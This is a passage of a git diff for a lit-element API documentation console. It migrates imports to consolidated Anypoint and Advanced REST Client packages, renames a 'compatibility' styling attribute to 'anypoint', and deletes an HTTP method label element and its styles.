       .baseUri="${this.baseUri}"
       .redirectUri="${this.redirectUri}"
       .credentialsSource="${this.httpCredentialsSource}"
-      ?compatibility="${this.anypoint}"
+      ?anypoint="${this.anypoint}"
       ?urlEditor="${this.httpUrlEditor}"
       ?urlLabel="${!this.httpUrlEditor}"
       ?noServerSelector="${this.httpNoServerSelector}"
diff --git a/src/elements/ApiResponseDocumentElement.js b/src/elements/ApiResponseDocumentElement.js
index 5f49b15..eb53193 100644
--- a/src/elements/ApiResponseDocumentElement.js
+++ b/src/elements/ApiResponseDocumentElement.js
@@ -2,11 +2,11 @@
 import { html } from 'lit-element';
 import { MarkdownStyles } from '@advanced-rest-client/highlight';
 import '@advanced-rest-client/highlight/arc-marked.js';
-import '@anypoint-web-components/anypoint-button/anypoint-button.js';
-import '@anypoint-web-components/anypoint-collapse/anypoint-collapse.js';
-import '@advanced-rest-client/arc-icons/arc-icon.js';
-import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js';
-import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js';
+import '@anypoint-web-components/awc/anypoint-button.js';
+import '@anypoint-web-components/awc/anypoint-collapse.js';
+import '@anypoint-web-components/awc/anypoint-radio-button.js';
+import '@anypoint-web-components/awc/anypoint-radio-group.js';
+import '@advanced-rest-client/icons/arc-icon.js';
 import commonStyles from './styles/Common.js';
 import elementStyles from './styles/ApiResponse.js';
 import '../../api-payload-document.js';
@@ -26,7 +26,7 @@ import {
 /** @typedef {import('../helpers/amf').Response} Response */
 /** @typedef {import('../helpers/api').ApiTemplatedLink} ApiTemplatedLink */
 /** @typedef {import('../helpers/api').ApiIriTemplateMapping} ApiIriTemplateMapping */
-/** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioGroupElement} AnypointRadioGroupElement */
+/** @typedef {import('@anypoint-web-components/awc').AnypointRadioGroupElement} AnypointRadioGroupElement */
 
 export const queryResponse = Symbol('queryResponse');
 export const responseValue = Symbol('responseValue');
diff --git a/src/elements/ApiResponseViewElement.d.ts b/src/elements/ApiResponseViewElement.d.ts
index e99ead5..0fcf3c3 100644
--- a/src/elements/ApiResponseViewElement.d.ts
+++ b/src/elements/ApiResponseViewElement.d.ts
@@ -1,11 +1,25 @@
-import { CSSResult, TemplateResult } from 'lit-element';
-import { ResponseViewElement } from '@advanced-rest-client/arc-response';
-import { ArcExportFilesystemEvent } from '@advanced-rest-client/arc-events';
+import { TemplateResult } from 'lit-element';
+import { ResponseViewElement } from '@advanced-rest-client/app';
+import { ArcExportFilesystemEvent } from '@advanced-rest-client/events';
 
 export declare const saveFileHandler: unique symbol;
 
 export declare class ApiResponseViewElement extends ResponseViewElement {
-  get styles(): CSSResult;
+  /** 
+   * Whether the response details view is opened.
+   * @attribute
+   */
+  details: boolean;
+  /** 
+   * Whether the source ("raw") view is opened.
+   * @attribute
+   */
+  source: boolean;
+  /**
+   * Enables Anypoint platform styles.
+   * @attribute
+   */
+  anypoint: boolean;
 
   constructor();
 
diff --git a/src/elements/ApiResponseViewElement.js b/src/elements/ApiResponseViewElement.js
index 46959b1..287575a 100644
--- a/src/elements/ApiResponseViewElement.js
+++ b/src/elements/ApiResponseViewElement.js
@@ -1,6 +1,6 @@
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-element';
-import { ResponseViewElement } from '@advanced-rest-client/arc-response';
+import { ResponseViewElement } from '@advanced-rest-client/app';
 import { 
   responseTemplate, 
   rawTemplate, 
@@ -9,16 +9,16 @@ import {
   contentActionHandler,
   responsePrefixTemplate,
   clearResponseHandler,
-} from '@advanced-rest-client/arc-response/src/internals.js';
-import { DataExportEventTypes } from '@advanced-rest-client/arc-events';
-import { dataValue, providerOptionsValue } from '@advanced-rest-client/arc-events/src/dataexport/Events.js';
-import '@anypoint-web-components/anypoint-item/anypoint-icon-item.js';
-import '@advanced-rest-client/arc-icons/arc-icon.js';
-import '@advanced-rest-client/arc-headers/headers-list.js';
+} from '@advanced-rest-client/app/src/elements/http/internals.js';
+import { DataExportEventTypes } from '@advanced-rest-client/events';
+import { dataValue, providerOptionsValue } from '@advanced-rest-client/events/src/dataexport/Events.js';
+import '@anypoint-web-components/awc/anypoint-icon-item.js';
+import '@advanced-rest-client/icons/arc-icon.js';
+import '@advanced-rest-client/app/define/headers-list.js';
 import elementStyles from './styles/Response.styles.js';
 
-/** @typedef {import('@advanced-rest-client/arc-events').ArcExportFilesystemEvent} ArcExportFilesystemEvent */
-/** @typedef {import('@advanced-rest-client/arc-types').ArcResponse.Response} Response */
+/** @typedef {import('@advanced-rest-client/events').ArcExportFilesystemEvent} ArcExportFilesystemEvent */
+/** @typedef {import('@advanced-rest-client/events').ArcResponse.Response} Response */
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 
 export const saveFileHandler = Symbol('saveFileHandler');
@@ -39,6 +39,10 @@ export class ApiResponseViewElement extends ResponseViewElement {
        * Whether the source ("raw") view is opened.
        */
       source: { type: Boolean },
+      /**
+       * Enables Anypoint platform styles.
+       */
+      anypoint: { type: Boolean, reflect: true },
     };
   }
 
@@ -46,6 +50,8 @@ export class ApiResponseViewElement extends ResponseViewElement {
     super();
     this.details = false;
     this.source = false;
+    /** @type boolean */
+    this.anypoint = undefined;
     this[saveFileHandler] = this[saveFileHandler].bind(this);
   }
 
@@ -127,14 +133,14 @@ export class ApiResponseViewElement extends ResponseViewElement {
     const icon = details ? 'toggleOn' : 'toggleOff';
     const sourceLabel = source ? 'Formatted view' : 'Source view';
     return html`
-    <anypoint-icon-item data-id="clear" ?compatibility="${this.compatibility}">
+    <anypoint-icon-item data-id="clear" ?anypoint="${this.anypoint}">
       <arc-icon icon="clear" slot="item-icon"></arc-icon> Clear response
     </anypoint-icon-item>
     ${super[responseOptionsItemsTemplate]()}
-    <anypoint-icon-item data-id="toggle-details" ?compatibility="${this.compatibility}">
+    <anypoint-icon-item data-id="toggle-details" ?anypoint="${this.anypoint}">
       <arc-icon icon="${icon}" slot="item-icon"></arc-icon> Response details
     </anypoint-icon-item>
-    <anypoint-icon-item data-id="toggle-raw" ?compatibility="${this.compatibility}">
+    <anypoint-icon-item data-id="toggle-raw" ?anypoint="${this.anypoint}">
       <arc-icon icon="code" slot="item-icon"></arc-icon> ${sourceLabel}
     </anypoint-icon-item>
     `;
diff --git a/src/elements/ApiSchemaDocumentElement.d.ts b/src/elements/ApiSchemaDocumentElement.d.ts
index 0515063..fd1530b 100644
--- a/src/elements/ApiSchemaDocumentElement.d.ts
+++ b/src/elements/ApiSchemaDocumentElement.d.ts
@@ -42,6 +42,9 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase {
    * The mime type to use to render the examples.
    */
   get mimeType(): string;
+  /**
+   * @attribute
+   */
   set mimeType(value: string);
   [schemaValue]: ApiShapeUnion;
   get schema(): ApiShapeUnion;
diff --git a/src/elements/ApiSchemaDocumentElement.js b/src/elements/ApiSchemaDocumentElement.js
index 49d81b6..4b5e9e7 100644
--- a/src/elements/ApiSchemaDocumentElement.js
+++ b/src/elements/ApiSchemaDocumentElement.js
@@ -4,9 +4,9 @@ import { html } from 'lit-element';
 import { classMap } from "lit-html/directives/class-map";
 import { MarkdownStyles } from '@advanced-rest-client/highlight';
 import '@advanced-rest-client/highlight/arc-marked.js';
-import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js';
-import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js';
-import { chevronRight } from '@advanced-rest-client/arc-icons';
+import '@anypoint-web-components/awc/anypoint-radio-button.js';
+import '@anypoint-web-components/awc/anypoint-radio-group.js';
+import { chevronRight } from '@advanced-rest-client/icons';
 import { ApiSchemaGenerator } from '../schema/ApiSchemaGenerator.js';
 import { ns } from '../helpers/Namespace.js';
 import commonStyles from './styles/Common.js';
diff --git a/src/elements/ApiSecurityDocumentElement.js b/src/elements/ApiSecurityDocumentElement.js
index e23a779..f964139 100644
--- a/src/elements/ApiSecurityDocumentElement.js
+++ b/src/elements/ApiSecurityDocumentElement.js
@@ -3,8 +3,8 @@
 import { html } from 'lit-element';
 import { MarkdownStyles } from '@advanced-rest-client/highlight';
 import '@advanced-rest-client/highlight/arc-marked.js';
-import '@anypoint-web-components/anypoint-tabs/anypoint-tab.js';
-import '@anypoint-web-components/anypoint-tabs/anypoint-tabs.js';
+import '@anypoint-web-components/awc/anypoint-tab.js';
+import '@anypoint-web-components/awc/anypoint-tabs.js';
 import { ns } from '../helpers/Namespace.js';
 import { 
   ApiDocumentationBase, 
@@ -32,7 +32,7 @@ import '../../api-response-document.js'
 /** @typedef {import('../helpers/amf').SecurityScheme} SecurityScheme */
 /** @typedef {import('../helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../helpers/amf').SecurityRequirement} SecurityRequirement */
-/** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */
+/** @typedef {import('@anypoint-web-components/awc').AnypointTabsElement} AnypointTabs */
 
 export const querySecurity = Symbol('querySecurity');
 export const processSecurity = Symbol('processSecurity');
@@ -352,7 +352,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
    * @returns {TemplateResult} The template for the responses selector.
    */
   [responseTabsTemplate](responses) {
-    const { selectedStatus } = this;
+    const { selectedStatus, anypoint } = this;
     const filtered = responses.filter((item) => !!item.statusCode);
     return html`
     <div class="status-codes-selector">
@@ -361,9 +361,9 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
         .selected="${selectedStatus}"
         attrForSelected="data-status"
         @selected="${this[statusCodeHandler]}"
-        ?compatibility="${this.anypoint}"
+        ?anypoint="${anypoint}"
       >
-        ${filtered.map((item) => html`<anypoint-tab data-status="${item.statusCode}" ?compatibility="${this.anypoint}">${item.statusCode}</anypoint-tab>`)}
+        ${filtered.map((item) => html`<anypoint-tab data-status="${item.statusCode}" ?anypoint="${anypoint}">${item.statusCode}</anypoint-tab>`)}
       </anypoint-tabs>
       <div class="codes-selector-divider"></div>
     </div>
diff --git a/src/elements/ApiServerSelectorElement.d.ts b/src/elements/ApiServerSelectorElement.d.ts
index 333ba1c..1a6f89f 100644
--- a/src/elements/ApiServerSelectorElement.d.ts
+++ b/src/elements/ApiServerSelectorElement.d.ts
@@ -102,10 +102,10 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
   outlined: boolean;
 
   /**
-   * Enables compatibility with the anypoint platform
+   * Enables Anypoint platform styles.
    * @attribute
    */
-  compatibility: boolean;
+  anypoint: boolean;
 
   /**
    * When set it automatically selected the first server from the list
diff --git a/src/elements/ApiServerSelectorElement.js b/src/elements/ApiServerSelectorElement.js
index 56e0a5c..55917f2 100644
--- a/src/elements/ApiServerSelectorElement.js
+++ b/src/elements/ApiServerSelectorElement.js
@@ -2,12 +2,12 @@
 /* eslint-disable no-plusplus */
 /* eslint-disable class-methods-use-this */
 import { html, LitElement } from 'lit-element';
-import '@anypoint-web-components/anypoint-input/anypoint-input.js';
-import '@anypoint-web-components/anypoint-dropdown-menu/anypoint-dropdown-menu.js';
-import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js';
-import '@anypoint-web-components/anypoint-item/anypoint-item.js';
-import '@anypoint-web-components/anypoint-button/anypoint-icon-button.js';
-import { close } from '@advanced-rest-client/arc-icons/ArcIcons.js';
+import '@anypoint-web-components/awc/anypoint-input.js';
+import '@anypoint-web-components/awc/anypoint-dropdown-menu.js';
+import '@anypoint-web-components/awc/anypoint-listbox.js';
+import '@anypoint-web-components/awc/anypoint-item.js';
+import '@anypoint-web-components/awc/anypoint-icon-button.js';
+import { close } from '@advanced-rest-client/icons/ArcIcons.js';
 import elementStyles from './styles/ServerSelector.js';
 import { ServerEvents } from '../events/ServerEvents.js';
 import { EventTypes } from '../events/EventTypes.js';
@@ -15,6 +15,8 @@ import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
 import { AmfSerializer } from '../helpers/AmfSerializer.js';
 
 /** @typedef {import('lit-html').TemplateResult} TemplateResult */
+/** @typedef {import('@anypoint-web-components/awc').AnypointListboxElement} AnypointListboxElement */
+/** @typedef {import('@anypoint-web-components/awc').AnypointDropdownElement} AnypointDropdownElement */
 /** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../helpers/api').ApiServer} ApiServer */
 /** @typedef {import('../types').SelectionInfo} SelectionInfo */
@@ -112,9 +114,9 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
       outlined: { type: Boolean },
 
       /**
-       * Enables compatibility with the anypoint platform
+       * Enables Anypoint platform styles.
        */
-      compatibility: { type: Boolean },
+      anypoint: { type: Boolean },
 
       /**
        * When set it automatically selected the first server from the list
@@ -378,7 +380,7 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
     this[customNodesCount] = 0;
     this.opened = false;
     this.autoSelect = false;
-    this.compatibility = false;
+    this.anypoint = false;
     this.outlined = false;
 
     /**
@@ -647,18 +649,18 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
   /**
    * Handler for the drop down's `opened-changed` event. It sets local value
    * for the opened flag.
-   * @param {CustomEvent} e
+   * @param {Event} e
    */
   [dropDownOpenedHandler](e) {
-    this.opened = e.detail.value;
+    this.opened = /** @type AnypointDropdownElement */ (e.target).opened;
   }
 
   /**
    * Updates list of custom items rendered in the selector.
-   * @param {CustomEvent} e
+   * @param {Event} e
    */
   [listboxItemsHandler](e) {
-    const { value } = e.detail;
+    const value = /** @type AnypointListboxElement */ (e.target).items;
     if (!Array.isArray(value) || !value.length) {
       this[customItems] = [];
       return;
@@ -690,13 +692,13 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
    * @return {TemplateResult} Template result for the custom input.
    */
   [customUriInputTemplate]() {
-    const { compatibility, outlined, value } = this;
+    const { anypoint, outlined, value } = this;
     return html`
     <anypoint-input
       class="uri-input"
       @input="${this[customUriChangeHandler]}"
       .value="${value}"
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       ?outlined="${outlined}"
     >
       <label slot="label">API base URI</label>
@@ -705,7 +707,7 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
         title="Clear and close custom editor"
         slot="suffix"
         @click="${this[resetSelection]}"
-        ?compatibility="${compatibility}"
+        ?anypoint="${anypoint}"
       >
         <span class="icon">${close}</span>
       </anypoint-icon-button>
@@ -716,26 +718,26 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
    * @return {TemplateResult} Template result for the drop down element.
    */
   [selectorTemplate]() {
-    const { compatibility, outlined, value, opened } = this;
+    const { anypoint, outlined, value, opened } = this;
     return html`
     <anypoint-dropdown-menu
       class="api-server-dropdown"
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       .opened="${opened}"
       fitPositionTarget
-      @opened-changed="${this[dropDownOpenedHandler]}"
+      @openedchange="${this[dropDownOpenedHandler]}"
     >
       <label slot="label">Select server</label>
       <anypoint-listbox
         .selected="${value}"
-        @selected-changed="${this[selectionChangeHandler]}"
+        @selectedchange="${this[selectionChangeHandler]}"
         slot="dropdown-content"
         tabindex="-1"
-        ?compatibility="${compatibility}"
+        ?anypoint="${anypoint}"
         attrforselected="data-value"
         selectable="[value],[data-value]"
-        @items-changed="${this[listboxItemsHandler]}"
+        @itemschange="${this[listboxItemsHandler]}"
       >
         ${this[selectorListTemplate]()}
       </anypoint-listbox>
@@ -761,14 +763,14 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
    * @return {TemplateResult|string} The template for the custom URI list item.
    */
   [customUriTemplate]() {
-    const { allowCustom, compatibility } = this;
+    const { allowCustom, anypoint } = this;
     if (!allowCustom) {
       return '';
     }
     return html`<anypoint-item
       class="custom-option"
       data-value="custom"
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
     >Custom base URI</anypoint-item>`;
   }
 
@@ -789,11 +791,11 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
    * @returns {TemplateResult} The template for a server list item.
    */
   [serverListItemTemplate](server) {
-    const { compatibility } = this;
+    const { anypoint } = this;
     return html`
     <anypoint-item
       data-value="${server.url}"
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       data-item="server-dropdown-option"
     >
       ${server.url}
diff --git a/src/elements/ApiSummaryElement.js b/src/elements/ApiSummaryElement.js
index 6af2ebe..d95a2f4 100644
--- a/src/elements/ApiSummaryElement.js
+++ b/src/elements/ApiSummaryElement.js
@@ -3,7 +3,7 @@ import { html } from 'lit-element';
 import { unsafeHTML } from 'lit-html/directives/unsafe-html.js';
 import { MarkdownStyles } from '@advanced-rest-client/highlight';
 import '@advanced-rest-client/highlight/arc-marked.js';
-import HttpStyles from './styles/HttpLabel.js';
+import { HttpStyles } from '@advanced-rest-client/app';
 import elementStyles from './styles/ApiSummary.js';
 import commonStyles from './styles/Common.js';
 import { 
@@ -65,7 +65,7 @@ export const methodTemplate = Symbol('methodTemplate');
  */
 export default class ApiSummaryElement extends ApiDocumentationBase {
   get styles() {
-    return [elementStyles, commonStyles, HttpStyles, MarkdownStyles];
+    return [elementStyles, commonStyles, HttpStyles.default, MarkdownStyles];
   }
 
   /**
diff --git a/src/elements/HttpMethodLabelElement.d.ts b/src/elements/HttpMethodLabelElement.d.ts
deleted file mode 100644
index c0105f4..0000000
--- a/src/elements/HttpMethodLabelElement.d.ts
+++ /dev/null
@@ -1,43 +0,0 @@
-import {LitElement, TemplateResult} from 'lit-element';
-
-export const updateAccessibility: unique symbol;
-
-/**
- * The element displays a label for the HTTP method. If the method is one of the
- * predefined methods then it will use predefined colors to mark the method.
- *
- * ### Example
- *
- * ```html
- * <http-method-label method="GET"></http-method-label>
- * ```
- *
- * If the method is not one of the predefined methods it can be styled using regular
- * css.
- *
- * ```html
- * <style>
- * http-method-label[method="test"] {
- *    color: white;
- *    background-color: orange;
- * }
- * </style>
- * <http-method-label method="TEST"></http-method-label>
- * ```
- */
-export default class HttpMethodLabelElement extends LitElement {
-  /**
-   * HTTP method name to display
-   * @attribute
-   */
-  method: string|undefined;
-  constructor();
-  render(): TemplateResult;
-
-  /**
-   * Updates "title" and `aria-label` attributes when method changes.
-   *
-   * @param method Current method
-   */
-  [updateAccessibility](method: string): void;
-}
diff --git a/src/elements/HttpMethodLabelElement.js b/src/elements/HttpMethodLabelElement.js
deleted file mode 100644
index 82329d5..0000000
--- a/src/elements/HttpMethodLabelElement.js
+++ /dev/null
@@ -1,154 +0,0 @@
-/**
-@license
-Copyright 2016 The Advanced REST client authors <arc@mulesoft.com>
-Licensed under the Apache License, Version 2.0 (the "License"); you may not
-use this file except in compliance with the License. You may obtain a copy of
-the License at
-http://www.apache.org/licenses/LICENSE-2.0
-Unless required by applicable law or agreed to in writing, software
-distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
-WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
-License for the specific language governing permissions and limitations under
-the License.
-*/
-import { LitElement, html, css } from 'lit-element';
-import {
-  hostDefaultStyles,
-  labelCommon,
-  labelGet,
-  labelPost,
-  labelPut,
-  labelDelete,
-  labelPatch,
-  labelOptions,
-  labelHead,
-  labelTrace,
-  labelConnect,
-  labelSubscribe,
-  labelPublish,
-} from './styles/HttpLabel.js';
-
-/* eslint-disable max-len */
-/* eslint-disable class-methods-use-this */
-
-export const updateAccessibility = Symbol('updateAccessibility');
-
-/**
- * The element displays a label for the HTTP method. If the method is one of the
- * predefined methods then it will use predefined colors to mark the method.
- *
- * ### Example
- *
- * ```html
- * <http-method-label method="GET"></http-method-label>
- * ```
- *
- * If the method is not one of the predefined methods it can be styled using regular
- * css.
- *
- * ```html
- * <style>
- * http-method-label[method="test"] {
- *    color: white;
- *    background-color: orange;
- * }
- * </style>
- * <http-method-label method="TEST"></http-method-label>
- * ```
- */
-export default class HttpMethodLabelElement extends LitElement {
-  get styles() {
-    return css`
-      :host {
-        ${hostDefaultStyles}
-        ${labelCommon}
-      }
-
-      :host([method='get']) {
-        ${labelGet}
-      }
-
-      :host([method='post']) {
-        ${labelPost}
-      }
-
-      :host([method='put']) {
-        ${labelPut}
-      }
-
-      :host([method='delete']) {
-        ${labelDelete}
-      }
-
-      :host([method='patch']) {
-        ${labelPatch}
-      }
-
-      :host([method='options']) {
-        ${labelOptions}
-      }
-
-      :host([method='head']) {
-        ${labelHead}
-      }
-
-      :host([method='trace']) {
-        ${labelTrace}
-      }
-
-      :host([method='connect']) {
-        ${labelConnect}
-      }
-
-      :host([method='subscribe']) {
-        ${labelSubscribe}
-      }
-
-      :host([method='publish']) {
-        ${labelPublish}
-      }
-    `;
-  }
-
-  static get properties() {
-    return {
-      /**
-       * HTTP method name to render
-       */
-      method: { type: String, reflect: true },
-    };
-  }
-
-  set method(value) {
-    const old = this._method;
-    if (old === value) {
-      return;
-    }
-    this._method = value;
-    this.requestUpdate('method', old);
-    this[updateAccessibility](value);
-  }
-
-  get method() {
-    return this._method;
-  }
-
-  render() {
-    const { styles, method } = this;
-    return html`<style>${styles}</style>${method}`;
-  }
-
-  /**
-   * Updates "title" and `aria-label` attributes when method changes.
-   * @param {string} method Current method
-   */
-  [updateAccessibility](method) {
-    if (!method) {
-      this.removeAttribute('title');
-      this.removeAttribute('aria-label');
-    } else {
-      this.setAttribute('title', method);
-      this.setAttribute('aria-label', method);
-    }
-  }
-}
diff --git a/src/elements/XhrSimpleRequestElement.d.ts b/src/elements/XhrSimpleRequestElement.d.ts
index d7c6deb..291f23e 100644
--- a/src/elements/XhrSimpleRequestElement.d.ts
+++ b/src/elements/XhrSimpleRequestElement.d.ts
@@ -13,7 +13,7 @@ License for the specific language governing permissions and limitations under
 the License.
 */
 import { LitElement } from 'lit-element';
-import { EventsTargetMixin } from '@advanced-rest-client/events-target-mixin';
+import { EventsTargetMixin } from '@anypoint-web-components/awc';
 import { ApiConsoleRequest, ApiConsoleResponse, XHRQueueItem } from '../types';
 import { default as XhrSimpleRequestTransportElement } from './XhrSimpleRequestTransportElement';
 
diff --git a/src/elements/XhrSimpleRequestElement.js b/src/elements/XhrSimpleRequestElement.js
index 37434e5..6ed81f0 100644
--- a/src/elements/XhrSimpleRequestElement.js
+++ b/src/elements/XhrSimpleRequestElement.js
@@ -13,7 +13,7 @@ License for the specific language governing permissions and limitations under
 the License.
 */
 import { LitElement } from 'lit-element';
-import { EventsTargetMixin } from '@advanced-rest-client/events-target-mixin';
+import { EventsTargetMixin } from '@anypoint-web-components/awc';
 import { EventTypes } from '../events/EventTypes.js';
 import { RequestEvents } from '../events/RequestEvents.js';
 import '../../xhr-simple-request-transport.js';
diff --git a/src/elements/XhrSimpleRequestTransportElement.d.ts b/src/elements/XhrSimpleRequestTransportElement.d.ts
index 6769265..0d89d38 100644
--- a/src/elements/XhrSimpleRequestTransportElement.d.ts
+++ b/src/elements/XhrSimpleRequestTransportElement.d.ts
@@ -14,7 +14,7 @@ License for the specific language governing permissions and limitations under
 the License.
 */
 import { LitElement } from 'lit-element';
-import { FormItem } from '@advanced-rest-client/arc-types/src/forms/FormTypes';
+import { FormItem } from '@advanced-rest-client/events/src/forms/FormTypes';
 import { ApiConsoleRequest } from '../types';
 
 /**
diff --git a/src/elements/XhrSimpleRequestTransportElement.js b/src/elements/XhrSimpleRequestTransportElement.js
index cea2234..e8e8aa0 100644
--- a/src/elements/XhrSimpleRequestTransportElement.js
+++ b/src/elements/XhrSimpleRequestTransportElement.js
@@ -14,9 +14,9 @@ License for the specific language governing permissions and limitations under
 the License.
 */
 import { LitElement } from 'lit-element';
-import { HeadersParser } from '@advanced-rest-client/arc-headers';
+import { HeadersParser } from '@advanced-rest-client/app';
 
-/** @typedef {import('@advanced-rest-client/arc-types').FormTypes.FormItem} FormItem */
+/** @typedef {import('@advanced-rest-client/events').FormTypes.FormItem} FormItem */
 /** @typedef {import('../types').ApiConsoleRequest} ApiConsoleRequest */
 
 /**
diff --git a/src/elements/styles/AuthorizationMethod copy.js b/src/elements/styles/AuthorizationMethod copy.js
deleted file mode 100644
index f26692b..0000000
--- a/src/elements/styles/AuthorizationMethod copy.js	
+++ /dev/null
@@ -1,67 +0,0 @@
-import { css } from 'lit-element';
-
-export default css`
-.form-input {
-  flex: 1;
-  margin: 0;
-}
-
-.params-section {
-  margin: 20px 0;
-}
-
-.section-title .label {
-  font-style: var(--http-request-section-title-font-size, 1.2rem);
-  font-weight: var(--http-request-section-title-font-weight, 500);
-}
-
-.form-item {
-  margin: 12px 0;
-  display: flex;
-  align-items: center;
-  flex-direction: row;
-}
-
-:host([compatibility]) .form-item {
-  margin: 20px 0 28px 0;
-}
-
-.array-form-item {
-  padding-left: 8px;
-  border-left: 1px var(--http-request-array-section-border-color, rgba(0, 0, 0, 0.14)) solid;
-}
-
-.subtitle {
-  display: flex;
-  flex-direction: row;
-  align-items: center;
-  margin: 12px 8px;
-}
-
-.section-title {
-  margin: 20px 8px 0px 8px;
-  display: block;
-}
-
-:host([compatibility]) .section-title {
-  margin: 20px 8px 24px 8px;
-}
-
-arc-marked {
-  background-color: var(--inline-documentation-background-color, #FFF3E0);
-  padding: 4px;
-}
-
-anypoint-input, anypoint-dropdown-menu, anypoint-masked-input {
-  flex: 1;
-  width: auto;
-  margin: 20px 0;
-}
-
-.form-item anypoint-input,
-.form-item anypoint-dropdown-menu,
-.form-item anypoint-masked-input {
-  margin: 0;
-}
-
-`;
diff --git a/src/elements/styles/Editor.styles.js b/src/elements/styles/Editor.styles.js
index 62187e4..9ff24a7 100644
--- a/src/elements/styles/Editor.styles.js
+++ b/src/elements/styles/Editor.styles.js
@@ -65,7 +65,7 @@ api-url-editor {
   margin: 8px 0;
 }
 
-:host([compatibility]) .section-title {
+:host([anypoint]) .section-title {
   font-size: var(--anypoint-subhead-font-size, var(--arc-font-subhead-font-size, 18px));
   font-weight: var(--anypoint-subhead-font-weight, var(--arc-font-subhead-font-weight, 400));
   letter-spacing: var(--anypoint-subhead-letter-spacing, var(--arc-font-subhead-letter-spacing, initial));
@@ -114,7 +114,7 @@ api-url-editor {
   flex-direction: row;
 }
 
-:host([compatibility]) .form-item {
+:host([anypoint]) .form-item {
   margin: 20px 0 28px 0;
 }
 
diff --git a/src/elements/styles/HttpLabel.js b/src/elements/styles/HttpLabel.js
deleted file mode 100644
index 6a45d89..0000000
--- a/src/elements/styles/HttpLabel.js
+++ /dev/null
@@ -1,184 +0,0 @@
-import { css } from 'lit-element';
-
-export const hostDefaultStyles = css`
-  --method-label-default-background-color: rgba(128, 128, 128, 0.12);
-  --method-label-default-color: rgb(128, 128, 128);
-`;
-
-export const labelCommon = css`
-  display: inline-block;
-  margin: var(--http-method-label-margin, 0px 8px 8px 0px);
-  padding: var(--http-method-label-padding, 2px 6px);
-  background-color: var(
-    --http-method-label-background-color,
-    var(--method-label-default-background-color)
-  );
-  color: var(--http-method-label-color, var(--method-label-default-color));
-  text-transform: uppercase;
-  border-radius: var(--http-method-label-border-radius, 3px);
-  font-weight: var(--http-method-label-font-weigth, 400);
-  font: inherit;
-  font-size: var(--http-method-label-font-size, inherit);
-  min-width: var(--http-method-label-min-width, inherit);
-  text-align: var(--http-method-label-text-align, inherit);
-`;
-
-export const labelGet = css`
-  background-color: var(
-    --http-method-label-get-background-color,
-    rgba(0, 128, 0, 0.12)
-  );
-  color: var(--http-method-label-get-color, rgb(0, 128, 0));
-`;
-
-export const labelPost = css`
-  background-color: var(
-    --http-method-label-post-background-color,
-    rgba(33, 150, 243, 0.12)
-  );
-  color: var(--http-method-label-post-color, rgb(33, 150, 243));
-`;
-
-export const labelPut = css`
-  background-color: var(
-    --http-method-label-put-background-color,
-    rgba(255, 165, 0, 0.12)
-  );
-  color: var(--http-method-label-put-color, rgb(255, 165, 0));
-`;
-
-export const labelDelete = css`
-  background-color: var(
-    --http-method-label-delete-background-color,
-    rgba(244, 67, 54, 0.12)
-  );
-  color: var(--http-method-label-delete-color, rgb(244, 67, 54));
-`;
-
-export const labelPatch = css`
-  background-color: var(
-    --http-method-label-patch-background-color,
-    rgba(156, 39, 176, 0.12)
-  );
-  color: var(--http-method-label-patch-color, rgb(156, 39, 176));
-`;
-
-export const labelOptions = css`
-  background-color: var(
-    --http-method-label-options-background-color,
-    var(--method-label-default-background-color)
-  );
-  color: var(
-    --http-method-label-options-color,
-    var(--method-label-default-color)
-  );
-`;
-
-export const labelHead = css`
-  background-color: var(
-    --http-method-label-head-background-color,
-    var(--method-label-default-background-color)
-  );
-  color: var(--http-method-label-head-color, var(--method-label-default-color));
-`;
-
-export const labelTrace = css`
-  background-color: var(
-    --http-method-label-trace-background-color,
-    var(--method-label-default-background-color)
-  );
-  color: var(
-    --http-method-label-trace-color,
-    var(--method-label-default-color)
-  );
-`;
-
-export const labelConnect = css`
-  background-color: var(
-    --http-method-label-connect-background-color,
-    var(--method-label-default-background-color)
-  );
-  color: var(
-    --http-method-label-connect-color,
-    var(--method-label-default-color)
-  );
-`;
-
-export const labelPublish = css`
-  background-color: var(
-    --http-method-label-publish-background-color,
-    rgba(31, 157, 85, 0.12)
-  );
-  color: var(--http-method-label-publish-color, #1f9d55);
-`;
-
-export const labelSubscribe = css`
-  background-color: var(
-    --http-method-label-subscribe-background-color,
-    rgba(52, 144, 220, 0.12)
-  );
-  color: var(--http-method-label-subscribe-color, #3490dc);
-`;
-
-export default css`
-  :host {
-    ${hostDefaultStyles}
-  }
-
-  .method-label {
-    ${labelCommon}
-  }
-
-  .method-label[data-method='get'],
-  .method-label[data-method='GET'] {
-    ${labelGet}
-  }
-
-  .method-label[data-method='post'],
-  .method-label[data-method='POST'] {
-    ${labelPost}
-  }
-
-  .method-label[data-method='put'],
-  .method-label[data-method='PUT'] {
-    ${labelPut}
-  }
-
